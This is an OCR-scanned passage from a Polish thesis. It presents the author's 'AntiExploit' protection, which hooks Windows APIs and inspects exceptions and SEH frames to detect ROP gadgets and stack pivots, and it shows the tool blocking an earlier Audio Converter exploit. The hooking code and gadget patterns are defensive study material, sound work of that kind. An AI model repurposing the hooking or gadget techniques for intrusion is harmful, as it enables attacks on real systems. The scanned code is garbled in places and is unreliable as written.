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BOOL HookWrite (PVOID pvStub, threadHooks::hookData dt) // [FIRST BYTES
FUNCTION][JMP FUNC]

{
PBYTE pbStub = (PBYTE)pvStub;
DWORD diff = 0;
BOOL bJmpThunk = FALSE;

*dt.ppfnOriginalFunction = pbStub;
size_t bound = InstructionBoundary(dt.pfnToDetour);
if (bound == 0)

return FALSE;

if (!SetPagePermisson(pbStub, PAGE_EXECUTE_READWRITE, NULL))
return ERROR_NOT_ENOUGH_MEMORY;

memcpy (pbStub, dt.pfnToDetour, bound); // copies first 5 bytes of
original func to stub

if (pbStub[0] == ©xe8 || pbStub[0] == 0xe9) // call/jmp rel-32

{

diff = *(DWORD#*)(pbStub + 1);

PBYTE pbOriginalFunc = (PBYTE)dt.pfnToDetour + diff + 5;

*(DWORD*) (pbStub + 1) = (DWORD)pbOriginalFunc - (DWORD)pbStub - 5;
}

diff = (DWORD)((PBYTE)dt.pfnToDetour - 5 — pbStub); // diff to jmp func
on stub

pbStub[bound] = 0xe9; // jmp near

*(DWORD*) ((PBYTE)pbStub + bound + 1) = diff;

if (!SetPagePermisson(pvStub, PAGE_EXECUTE_READ, NULL))
return ERROR_NOT_ENOUGH_MEMORY

DWORD dwOldProtect = 0;
if (!SetPagePermisson(dt.pfnToDetour, PAGE_EXECUTE_READWRITE,
&dwOldProtect))
return ERROR_NOT_ENOUGH_MEMORY

diff = (DWORD)((PBYTE)dt.pfnDetourTarget - (PBYTE)dt.pfnToDetour - 5);
// diff to own func

PBYTE pb = (PBYTE)dt.pfnToDetour;
pb[@] = Oxe9;
*(DWORD*)(pb + 1) = diff;

if (!SetPagePermisson(dt.pfnToDetour, dwOldProtect, NULL))
return ERROR_NOT_ENOUGH_MEMORY

return TRUE;

Listing 10. Kod hookowania funkcji
Funkcje, ktore sa hookowane przez zabezpieczenie ,,AntiExploit” zostaly zamieszczone na
Rysunku 45. Etykiety z przedrostkiem ,,Original” wskazuja na trampoling prowadzaca do

oryginalnej funkcji. Funkcje z przedrostkiem ,,My” zawierajg kod zabezpieczenia.
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HookTransacti in();

HookAttach( (P\ riginal_LoadLibraryA, My_LoadlLibraryA);

HookAttach(( L0riginal_LoadLibraryW, My_LoadLibraryW);

HookAttach( (P! Jriginal_LoadlLibraryExA, My_LoadlLibraryExA);

HookAttach(( L0riginal_LoadlLibraryExW, My_LoadlLibraryExW);

HookAttach( (P riginal_FreeLibrary, My_FreeLibrary);

HookAttach(( &0riginal_FreeLibraryAndExitThread, My_FreelLibraryAndExitThread);
HookAttach( (P! riginal_LdrlioadDll, My_LdrloadDll);

HookAttach(( &0riginal_CreateProcessA, My_CreateProcessA);

HookAttach( (P! riginal_CreateProcessW, My_CreateProcessW);

HookAttach(( L0riginal_CreateProcessInternalA, My_CreateProcessInternalA);
HookAttach( (P! riginal_CreateProcessInternalW, My_CreateProcessInternalW);
HookAttach(( &0riginal_GetProcAddress, My_GetProcAddress);

HookAttach( (P! Jriginal_GetModuleHandleA, My_GetModuleHandleA);

HookAttach(( &0riginal_GetModuleHandleW, My_GetModuleHandleW);

HookAttach( (P! riginal_VirtualProtect, My_VirtualProtect);

HookAttach(( &0riginal_VirtualProtectEx, My_VirtualProtectEx);

HookAttach( (P! riginal_NtProtectVirtualMemory, My _NtProtectVirtualMemory);
HookAttach(( L0riginal_VirtualAllec, My_VirtualAlloec);

HookAttach( (P! Jriginal_VirtualAllocEx, My_VirtualAllocEx);

HookAttach(( S0riginal_NtAllocateVirtualMemory, My_NtAllocateVirtualMemory);
HookAttach( (P )riginal_SetProcessDEPPolicy, My_SetProcessDEPPolicy);
HookAttach(( &0riginal_NtSetInformationProcess, My_NtSetInformationProcess);
HookAttach( (P! riginal_CreateThread, My_CreateThread);

HookAttach(( &0riginal_NtCreateThread, My_NtCreateThread);

HookAttach( (P! riginal_NtCreateThreadEx, My_NtCreateThreadEx);

HookAttach(( L0riginal_ExitProcess, My_ExitProcess);

HookAttach( (P! iriginal_NtTerminateThread, My_MtTerminateThread);

result = HookTransactionCommit();

Rysunek 45. Hookowane funkcje przez zabezpieczenie "AntiExploit”

W nastgpnych akapitach opisane zostang mechanizmy ochrony zawarte w
zabezpieczeniu ,,AntiExploit™.

Kazde wywotanie funkcji systemowej, ktora zostata przedstawiona na Rysunku 45. jest
sprawdzana pod wzgledem poprawnosci zrodta jej wykonania. Ma to uniemozliwi¢ dostgp do
kluczowych funkcji systemowych dla kodu znajdujacego si¢ poza modutami aplikacji. Dotyczy
to kodu na stosie, stercie badz zaalokowanego bloku pamigci przy uzyciu VirtualAlloc.
Zablokowane zostang wszelkie proby wykonania funkcji systemowych pochodzace z
shellcode. Aby oceni¢ poprawnos$¢ zZrodla wykonania nalezy sprawdzi¢ adres powrotu na
aktualnej ramce stosu. Adres ten mozna uzyska¢ wykorzystujac fragment kodu maszynowego
zaprezentowanego na Listingu 11. Etykieta dwRetnAddress wskazuje na miejsce w pamigci,

gdzie ma zosta¢ zapisany adres powrotu.

push eax

push ebx

lea eax, [dwRetnAddress]
mov ebx, [ebp + 4]

mov [eax], ebx

pop ebx

pop eax

Listing 11. Kod pobierajqcy adres powrotu z aktualnej ramki stosu
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Komunikat, ktory zostanie wyswietlony, gdy sprawdzany adres powrotu bedzie pochodzit z

niezaufanego miejsca w pamigci zostal przedstawiony na Rysunku 46.

RiGBFusion.exe - Fatal Application Exit ot

Funkcja LoadLibrarys zostala wywolana z niezaufanego
miejsca w pamieci, aplikacja zostanie zamknieta

Rysunek 46. Komunikat informujgcy o wywolaniu funkcji LoadLibraryA z niezaufanego miejsca w pamigci

W funkcjach VirtualProtect, VirtualProtectEx, VirtualAlloc, VirtualAllocEx,
SetProcessDEPPolicy oraz NtSetInformationProcess dodatkowo sprawdzane jest czy adres
powrotu nie wskazuje na instrukcjg, ktora przekierowuje wykonanie na stos. Jest to czesty
przypadek w exploitach wykorzystujacych technike ROP, ktorych tancuch prowadzi do
wywotania funkcji VirtualProtect (oraz pokrewnych) w celu umozliwienia przekierowania
wykonania na stos lub stert¢ z wczesniej wprowadzonym shellcode. Taki przypadek rowniez
zaistnial w exploicie przygotowanym w rozdziale 6. Sprawdzenie nastepuje poprzez
porownanie pierwszego kodu instrukcji spod adresu powrotu z czterema mozliwymi

wariantami z Listingu 12.

jmp_esp
call esp
push esp/retn
push esp/ret

Listing 12. Warianty instrukcji, ktore przekierowujq wykonanie na stos

Komunikat informujacy o omawianej sytuacji zostat zaprezentowany na Rysunku 47.

RGEFusion.exe - Fatal Application Exit >

k. Wyknito exploit wykorzystujacy technike ROP. Powrot z
4 ,.-' funkgji VirtualProtect wskazuje na kod, ktary skacze na stos,
—  aplikacja zostanie zamknieta

Rysunek 47. Komunikat informujgcy o wykryciu exploitu wykorzystujgcego technike ROP

Na szczegdlng uwage zashuguje funkcja systemowa RtlDispatchException, ktora jest
odpowiedzialna za obstuge wyjatkdw w obszarze uzytkownika. Nadpisanie jej wlasng funkcja
pozwoli przeanalizowa¢ kazde wystapienie wyjatku. Pozwoli to na sprawdzenie przyczyny

wyjatku oraz gdy zajda odpowiednie warunki zablokowanie potencjalnego zagrozenia.
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Zabezpieczenie ,,AntiExploit” hookuje funkcj¢ RtIDispatchException oraz dokonuje analizy
wyjatku. Funkcja przyjmuje jako argument strukturg typu EXCEPTION_ RECORD, ktore;j

definicja zostala przedstawiona na Listingu 13.

typedef struct _EXCEPTION_RECORD {

DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD* ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR

ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
Listing 13. Definicja typu struktury EXCEPTION RECORD

W przypadku gdy kod wyjatku wskazuje na naruszenie ochrony pamieci, czyli argument
ExceptionCode jest rowny wartosci STATUS_ACCESS_VIOLATION oraz wyjatek
wystapit podczas préby zapisu (pole ExceptionInformation[0] roéwne
ACCESS_VIOLATION_WRITE) poréwnywany jest adres wyjatku (ExceptionAddress) z
adresem bazowym stosu aktualnego watku. Gdy sg one rowne oznacza to, ze wyjatek zostat
wygenerowany podczas proby zapisu danych poza jego dolng granice (Rysunek 48.). Implikuje
to nadpisanie zawarto$ci ramek SEH. Stos watku ro$nie w stron¢ nizszych adreséw wiec taka
sytuacja nie moze mie¢ miejsca w prawidlowo dzialajacej aplikacji. W rozdziale 6 zostata
wykorzystana sytuacja wygenerowania wyjatku podczas proby zapisu poza dolng granice stosu,
aby przekierowa¢ wykonanie przez nadpisang procedur¢ obstugi SEH do tancucha ROP.
Zabezpieczenie ,,AntiExploit” wykryje opisang sytuacje oraz zablokuje probe exploitacji
poprzez zakonczenie aplikacji z btedem. Fragment kodu odpowiedzialny za obstuzenie

niebezpiecznego stanu aplikacji zostat przedstawiony na Listingu 14.

if (ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION)
{
LPVOID addrFault = (LPVOID)ExceptionRecord->ExceptionInformation[1];
if (ExceptionRecord->ExceptionInformation[0] == ACCESS_VIOLATION_WRITE)
// thread attempted to write to inaccessible memory
{
HANDLE stackBase;
HANDLE stackTop;
if (GetStackRegionThread(GetCurrentThread(), &stackBase,

&stackTop))
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if (addrFault == stackBase) // all stack has been
overwritten with data, SEH handler were overwritten too
{
FatalAppExitwW(®, L"wykryto prébe nadpisania ramki SEH,

aplikacja zostanie zamknieta");

}
3
}
else if (ExceptionRecord->ExceptionInformation[@] == DEP_VIOLATION)
{

FatalAppExitW(0, L"Wykryto proébe wykonania kodu na stronie danych
(DEP violation), aplikacja zostanie zamknieta");

}

Listing 14. Fragment kodu sprawdzajgcy czy nastapita proba zapisu poza dolng granice stosu

<

adres bazowy stosu (0x1A0000) I
adres wystapienia wyjatku (0x1A0000)

Rysunek 48. Sytuacja proby zapisu poza dolng granice stosu

Kolejnym zabezpieczeniem opartym na analizie danych wyjatkéw jest sprawdzanie

poprawnosci listy jednokierunkowej zawierajacej poszczegolne ramki SEH. Kazda ramka jest
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obiektem o typie EXCEPTION_REGISTRATION, ktorego definicja zostata zaprezentowana
na Listingu 15.

typedef struct _EXCEPTION_REGISTRATION
{
struct _EXCEPTION_REGISTRATION* Prev;
LPVOID Handler;
} EXCEPTION_REGISTRATION, * PEXCEPTION_REGISTRATION;

Listing 15. Element ramki SEH

Lista jest sprawdzana pod katem ciaglosci. Jezeli ostatni element nie wskazuje na warto$¢
OxFFFFFFFF (domyslna warto$¢ ostatniego elementu listy ramek SEH) aplikacja jest
zamykana z btgdem. Ponadto kazdy adres procedury obstugi z listy (pole Handler ze struktury
EXCEPTION_REGISTRATION) jest walidowany w kontek$cie jego przynaleznosci do
przestrzeni pami¢ci moduléw w procesie. Adresy procedur obstugi wyjatkow sg znane podczas
kompilacji i zawieraja si¢ w kompilowanym module. Gdy zostanie wykryty adres procedury
obstugi wyjatku, ktéry znajduje sie¢ poza adresem przestrzeni modutoéw, aplikacja konczy swoje
dziatanie z btedem.

Oprocz serii sprawdzen, dotyczacych miejsca w pamigci w jakim znajdujg si¢ procedury
obstugi, kontrolowana jest rowniez ich zawartos¢. Jezeli procedura obstugi wskazuje na jeden
z kilku popularnych wariantow gadgetéw uzywanych do stworzenia tancucha ROP aplikacja
jest awaryjnie zamykana, aby zapobiec wykonaniu ztosliwego kodu. Przewidziane warianty
zawieraja mi¢dzy innymi ,,pop reg, ret”, ,,add esp,val ret” czy ,,sub esp, val, ret”

Kod odpowiedzialny za wykrycie gadgetu tancucha ROP dla danego adresu zostat
przedstawiony na Listingu 16. Kolejne bajty danych zawartych pod adresem podanym w
argumencie poréwnywane sg z kodami operacji zdefiniowanymi w specjalnie przygotowanych
makrach. Sprawdzenie kodoéw operacji ,,sub esp, val” oraz ,,add esp, val” nastepuje dla
wariantow przyjmujacych wartos¢ o dtugosci jednego bajta (kody operacji odpowiednio
0x83EC oraz 0x83C4) oraz o dlugosci czterech bajtow (kody operacji 0x81EC oraz 0x81C4).
Przewidziane przypadki nie sa wszystkimi jakie moga wystapi¢ w exploicie, lecz na pewno

znaczgco utrudnig prace nad nim.

BOOL IsSEHExploit(LPVOID SEHHandler)

{

#define ISPOP(ptr) ((ptr[0] - 0x58) >= 0 && (ptr[0] - 0x58) <= 8)
#define ISADDESPBYTE(ptr) (ptr[0] == 0x83 && ptr[1] == oxCu)

#define ISADDESPDWORD(ptr) (ptr[0] == 0x81 && ptr[1] == oxcC4)

#define ISSUBESPDWORD(ptr) (ptr[0] == 0x81 && ptr[1] == OxEC)
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#define ISSUBESPBYTE(ptr) (ptr[0] == 0x83 && ptr[1] == OxEC)
#define ISRET(ptr) (ptr[0] == 0xC2 || ptr[0] == 0OxC3)
if (IsBadPtr(SEHHandler,30))
{

return false;
}
char insBuf[30];
DWORD read{};
if (ReadProcessMemory(GetCurrentProcess(), SEHHandler, insBuf, 30,
&read))

{
if (ISPOP(insBuf) && ISRET((insBuf + 1)))
return TRUE;
if (ISPOP(insBuf) && ISPOP((insBuf + 1)) && ISRET((insBuf + 2)))
return TRUE;
if (ISSUBESPBYTE(insBuf) && ISRET((insBuf + 3)))
return TRUE;
if (ISSUBESPDWORD(insBuf) && ISRET((insBuf + 6)))
return TRUE;
if (ISADDESPBYTE(insBuf) && ISRET((insBuf + 3)))
return TRUE;
if (ISADDESPDWORD(insBuf) && ISRET((insBuf + 6)))
return TRUE;
}

return FALSE;

Listing 16. Kod sprawdzajqcy adres pod wzgledem zawartosci popularnych gadgetow tanchucha ROP

Aby udowodni¢ skuteczno$¢ proponowanego rozwigzania zostanie ono uzyte do
zablokowania exploitu stworzonego w rozdziale 6. W tym celu uruchomiony zostat program

Audio Converter oraz program ,,AntiExploit”. Do procesu atakowanego programu zostato

wprowadzone zabezpieczenie, co zostato przedstawione na Rysunku 49.

antibpio
File Help

Nazwa Procesu lloéé moduléw | Moduby bez SafeSEH Meduby bez Stack Canary | AntiExploit
"+ audconv.exe

B chwm.exe 1344 Zataduj AntiExploit 37 4 0 Nieaktywny
:D;svchost‘aa 1372 Wylacz AntiExploit Nieaktywny
Ll explorer.exe 1392 prrny iy v mulacji ATL) 193 27 0 Nieaktywny
Hta skhost.exe 1400 Aktywny Mieaktywny 68 14 0 Nieaktywny
@vmidsewi:e.exe 1600 Aktywny Aktywny Permamentnie 19 3 0 Nieaktywny

Rysunek 49. Aktywowanie zabezpieczenia AntiExploit w podatnej aplikacji Audio Converter

Do programu Audio Converter zostaje wczytany plik exploit.pls. Dane w nim zawarte sg

tadowane na stos i nastepuje wygenerowanie wyjatku z powodu préby zapisu poza dolng
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granic¢ stosu. Zabezpieczenie ,,AntiExploit” przechwytuje wywotanie funkcji
RtIDispatchException. Wykryte zostaje nadpisanie ramki SEH a aplikacja konczy swoje
dziatanie. Komunikat o btedzie zostal zaprezentowany na Rysunku 50. Zabezpieczenie

pomyslnie zablokowalo probe wykonania exploitu.

File Edit View Output Tools Help

. IO I R @)

Convert | AddFiles AddFolder AudioCD | Normalize Bum CD
Source File Convert to Output File Estimated Size  Audio Settings
3
W 2ntiExpioit = | o
File Help
Nazwa Procesu PID | Astr | pep Tlogé modutéw | Moduly bez SafeSEH | Moduly bez Stack Canary | AntiExploit |

E[System Process] 0 Nieaktywny Mieaktywny

B ntiExploit. exe 576 Aktywny Aktywny 57 20 2 Nieakbywny

" audconv.exe Nieaktywny  Aktywny

5 zudiodg.exe 2844 Aktywny Mieaktywny

B csrss.exe Mieakhayn Hieaktywny

[ csrss.exe Audio Converter: audconv.exe - Fatal Application Exit x Nieaktywny

[ dwm.exe 37 4 0 Nieakbywny

E explorer.exe _ acji ATL) 192 26 0 Mieaktywny

(£ ] sass.exe |'0| Wykryto prabe nadpisania ramki SEH, aplikacja zostanie zamknieta Nieaktywny

(= Ism.exe v Nieakbywny
Emsdtc.exe ntnie Nieaktywny

E SearchFilterH Mieaktywny

(2 Searchindexe o ntnie Nieakbywny
ESaarchProtoc Nieaktywny

E services.exe Mieaktywny

Rysunek 50. Pomyslna proba zablokowania exploitu z stworzonego w rozdziale 6

Zakladajac sytuacje, ze ten mechanizm zawiodt 1 nadpisanie ramki SEH nie zostalo wykryte,
kolejne sprawdzenie wykryloby, ze adres procedury obstugi wskazuje na gadget tancucha

ROP, ktory w tym przypadku jest w postaci ,,add esp, 0X10E4”.
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8. Podsumowanie

W niniejszej pracy zostaty przedstawione wybrane rodzaje btedow spotykanych w
aplikacjach oraz metody (zaimplementowane w systemie operacyjnym oraz jako
instrumentacja generowana przez kompilator), ktére im zapobiegaja. Kazdy btad zostal
przedstawiony w praktycznym przyktadzie, aby lepiej zrozumie¢ jego geneze¢ oraz skutki jakie
moga wynika¢ z jego popehienia. Studium tego tematu doprowadzito do zaprojektowania
exploitu dla programu Audio Converter w celach edukacyjnych, ktéry ignorowat niektore z
metod ochrony aktywne w systemie. Po nabyciu wiedzy o sposobach atakow na aplikacje w
systemie Microsoft Windows zostala ona wykorzystana, aby stworzy¢ wtasng metode ochrony
,2AntiExploit”, ktora pomaga uchroni¢ podatne aplikacje przed wykonaniem zto§liwego kodu.
W koncowym etapie projektu zostalo udowodnione, ze autorskie zabezpieczenie ochrania
aplikacje przed przygotowanym exploitem. Te dwa przedsigwzigcia (przygotowanie exploitu
oraz wlasna metoda ochrony) umozliwity wykorzystanie zdobytej wiedzy w praktycznym
przyktadzie.

Oprogramowanie zawsze bedzie zawierato w sobie btedy, poniewaz jest tworzone przez
ludzi, ktorzy nie sg nieomylni. Waznym aspektem jest, aby ryzyko wykorzystania tych bltedow
minimalizowa¢ poprzez korzystanie z dostgpnych metod ochrony (instrumentacyjnych jak i
tych systemowych). Dla przeci¢tnego uzytkownika komputera sprowadza si¢ to do regularnego
aktualizowania aplikacji oraz systemu operacyjnego, a dla programistow na pisaniu kodu
odpornego na bledy jak rowniez zwracaniu uwagi na dostgpne metody ochrony. W tej pracy
zostalo potwierdzone stwierdzenie ,tancuch jest tak mocny jak jego najstabsze ogniwo” przy
okazji wykorzystywania btedu w aplikacji Audio Converter. Jego gtéwny modut audconv.exe
byt kompatybilny z ASLR, jednak audconv.dll juz nie, co zostato wykorzystane do przejecia
nad nim kontroli.

Biorac pod uwage powszechno$¢ uzycia komputerow we wspotczesnym $swiecie, ich
bezpieczenstwo staje si¢ coraz wazniejsze. Coraz wigcej aspektow zycia przechodzi w §wiat
wirtualny jak réwniez coraz wigcej czynnosci jest automatyzowanych. Jedno bledne kliknigcie
moze dzieli¢ od straty pienigdzy, warto§ciowych aktywow czy poufnych informacji. Niniejsza
praca byla proba skonstruowania przekonujacej narracji na temat istotno$ci zagadnienia

ochrony aplikacji 1 metod, jakimi mozna chroni¢ dane w cyfrowym $wiecie.
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